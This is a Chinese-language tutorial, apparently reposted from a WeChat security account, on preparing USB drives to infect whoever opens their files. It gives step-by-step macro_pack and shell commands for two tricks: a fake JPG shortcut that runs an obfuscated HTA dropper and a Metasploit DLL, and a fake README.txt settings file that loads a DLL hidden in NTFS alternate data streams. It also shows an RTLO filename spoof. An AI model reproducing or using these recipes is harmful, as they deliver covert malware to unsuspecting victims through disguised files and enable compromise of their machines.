USB 釣魚的幾種方式
1 引誘目標點開美圖
當目標點開美圖(惡意LNK快捷方式文件:confidential.jpg.lnk),使目標認為他正在打開圖像(confidential.jpg),HTA dropper 隱藏在快捷方式文件中。LNK將執行HTA,HTA將依次執行并刪除的DLL payload,并且用誘餌圖片替換快捷方式(confidential.jpg)。過程如下:

利用過程如下:
1.MSF生成dll payload,這里用TheFatRat快速生成:

2.用macro_pack生成一個經過混淆的HTA payload,他將會執行并刪除dll
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=dll_payload.dll --obfuscate -G payload.hta
EMBED_DLL模板將創建一個VB代碼,該代碼將加載并刪除“-embed”指定的文件,并用rundll32加載;-G是指生成hta文件

3.同樣用macro_pack生成另外一個經過混淆的HTA payload,他將完成替換刪除.lnk的功能。當我們將其放置于惡意LNK在同一文件夾下。運行后將替換.lnk,釋放“美圖”
echo "wuyifan.jpg" | macro_pack.exe -t EMBED_EXE --embed=wuyifan.jpg -o -G pic.hta

如果你此時雙擊pic.hta,會生成wuyifan.jpg,但是此時pic.hta沒有自刪除
4.整合上述的兩步形成一個自刪除的HTA文件:打開pic.hta將AutoOpen函數名修改為AutoOpen2

刪除payload.hta的vb代碼的后兩行(AutoOpen和Close),將pic.hta中的vb代碼(除了最后兩行AutoOpen和Close)復制到payload.hta的vb腳本末尾,后并添加以下代碼:
AutoOpen2
現在運行payload.hta將運行dll,生成wuyifan.jpg并自刪除
5.將payload.hta嵌入到.lnk文件中,我們希望它能用mshta.exe來解析從而觸發payload,如運行一下命令:
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
當payload構成放在USB中,我們需要知道當前路徑,%cd%將提供當前的路徑名稱

使用macro_pack生成lnk,這里U盤的盤符為”F:”,運行一下命令生成lnk:
macro_pack.exe -G G:\confidential.jpg.lnk
這里主要是為了保證lnk的圖標為JPG圖像的圖標,和imageres.dll中67位索引相對應

6.將.lnk和payload.hta合并到一起就OK了,運行:
copy /b F:\wuyifan.jpg.lnk+payload.hta F:\wuyifan.jpg.lnk

說明:
當在USB中雙擊wuyifan.jpg.lnk,會觸發payload,加載DLL并隱藏到%TEMP%\Document1.asd中,加載payload的方式為:
CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0
在任務管理器中會發現圖片正使用taskmgr或者Sysinternals procexp運行,并且lnk文件被真實的圖片替換,實例中USB文件運行的命令容易被殺軟識別出來
2 針對”README.txt”文件
當目標打開README.txt時,實際上運行的是惡意的settingcontent-ms文件,文件結構準遵循XML模式,不能像上述方法與hta文件組合。我們將使用NTFS備用數據流來隱藏和運行dll payload

此settingcontent-ms文件將執行隱藏在備份數據流(README.txt.settingcontent-ms:R)中的DLL,并將以記事本運行存儲在另一個ADS中的誘餌文本(README.txt.settingcontent-ms:T.txt),相比第一種方式它沒有想.lnk或者.uri那樣的快捷箭頭
利用過程如下:
1.構建誘餌文本文件,當目標打開時顯示文本
echo "Hello World!" > Text.txt
2. 構建惡意設置的快捷方式文件。使用macro_pack生成settingcontent-ms文件,例如要生成一個README.txt文檔,該文檔的啟動運行calc.exe
echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
但是我們真正要啟動的是隱藏在NTFS文件系統備份數據流中的DLL payload和誘餌文件。這里有個問題是setcontent-ms文件默認在“C:\Windows\System32”中打開,這樣我們必須知道USB的盤符,為此使用Powershell的腳本如下:
%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"
上述命令將調用wmi將盤符賦值給$drive變量;啟動記事本打開誘惑文檔README.txt.settingcontent-ms:T.txt;啟動control.exe打開README.txt.settingcontent-ms:R中的DLL payload,其中DLL也可以同rundll32加載。將上述命令替換剛才生成calc命令,最終的README.txt.settingcontent-ms文件如下:

3. 創建備用數據流。去報USB已經使用NTFS文件系統格式化,當前USB的盤符為“F:”,創建ADS,README.txt.settingcontent-ms:R 包含DLL:
type dll_payload.dll > F:\README.txt.settingcontent-ms:R
READNE.txt.settingcontent-ms:T.txt 包含誘餌文本:
type Text.txt > F:\README.txt.settingcontent-ms:T.txt
使用streams命令可以檢查創建的ADS流

PS:使用macro_pack生成RTLO翻轉運行calc的hta文件,運行:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
生成的文件名為calcath.jpg,實際上是calc[rtlo]gpj.hta,此方法也適用于其他操作系統,但是打開運行的程序可能不同
原創:物聯網IOT安全
原文鏈接:https://mp.weixin.qq.com/s/UAt7iF8KAcTFZjT...